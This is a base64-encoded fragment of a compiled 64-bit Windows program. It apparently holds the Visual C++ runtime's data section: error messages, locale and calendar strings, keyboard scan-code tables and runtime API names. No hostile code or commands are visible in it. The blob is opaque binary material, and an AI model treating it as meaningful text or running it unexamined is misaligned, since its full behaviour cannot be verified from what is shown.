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AGUADQAKAAAAAAAAAAAAAAAAAAAAAABSADYAMAAyADQADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABfAG8AbgBlAHgAaQB0AC8AYQB0AGUAeABpAHQAIAB0AGEAYgBsAGUADQAKAAAAAAAAAAAAUgA2ADAAMgA1AA0ACgAtACAAcAB1AHIAZQAgAHYAaQByAHQAdQBhAGwAIABmAHUAbgBjAHQAaQBvAG4AIABjAGEAbABsAA0ACgAAAAAAAABSADYAMAAyADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABzAHQAZABpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAAAAAAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMANAANAAoALQAgAGkAbgBjAG8AbgBzAGkAcwB0AGUAbgB0ACAAbwBuAGUAeABpAHQAIABiAGUAZwBpAG4ALQBlAG4AZAAgAHYAYQByAGkAYQBiAGwAZQBzAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAFQATABPAFMAUwAgAGUAcgByAG8AcgANAAoAAAANAAoAAAAAAAAAAAByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAAAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAALgAuAC4AAAAKAAoAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAChudWxsKQAAAAAAACgAbgB1AGwAbAApAAAAAAAAAAAAAAAAAAYAAAYAAQAAEAADBgAGAhAERUVFBQUFBQU1MABQAAAAACggOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAeHB4eHh4CAcIAAAHAAgICAAACAAIAAcIAAAAAAAAAEMATwBOAEkATgAkAAAAAABGbHNBbGxvYwAAAAAAAAAARmxzRnJlZQBGbHNHZXRWYWx1ZQAAAAAARmxzU2V0VmFsdWUAAAAAAEluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25FeAAAAAAAQ3JlYXRlRXZlbnRFeFcAAENyZWF0ZVNlbWFwaG9yZUV4VwAAAAAAAFNldFRocmVhZFN0YWNrR3VhcmFudGVlAENyZWF0ZVRocmVhZHBvb2xUaW1lcgAAAFNldFRocmVhZHBvb2xUaW1lcgAAAAAAAFdhaXRGb3JUaHJlYWRwb29sVGltZXJDYWxsYmFja3MAQ2xvc2VUaHJlYWRwb29sVGltZXIAAAAAQ3JlYXRlVGhyZWFkcG9vbFdhaXQAAAAAU2V0VGhyZWFkcG9vbFdhaXQAAAAAAAAAQ2xvc2VUaHJlYWRwb29sV2FpdAAAAAAARmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJzAAAAAAAAAABGcmVlTGlicmFyeVdoZW5DYWxsYmFja1JldHVybnMAAEdldEN1cnJlbnRQcm9jZXNzb3JOdW1iZXIAAAAAAAAAR2V0TG9naWNhbFByb2Nlc3NvckluZm9ybWF0aW9uAABDcmVhdGVTeW1ib2xpY0xpbmtXAAAAAABTZXREZWZhdWx0RGxsRGlyZWN0b3JpZXMAAAAAAAAAAEVudW1TeXN0ZW1Mb2NhbGVzRXgAAAAAAENvbXBhcmVTdHJpbmdFeABHZXREYXRlRm9ybWF0RXgAR2V0TG9jYWxlSW5mb0V4AEdldFRpbWVGb3JtYXRFeABHZXRVc2VyRGVmYXVsdExvY2FsZU5hbWUAAAAAAAAAAElzVmFsaWRMb2NhbGVOYW1lAAAAAAAAAExDTWFwU3RyaW5nRXgAAABHZXRDdXJyZW50UGFja2FnZUlkAAAAAABHZXRUaWNrQ291bnQ2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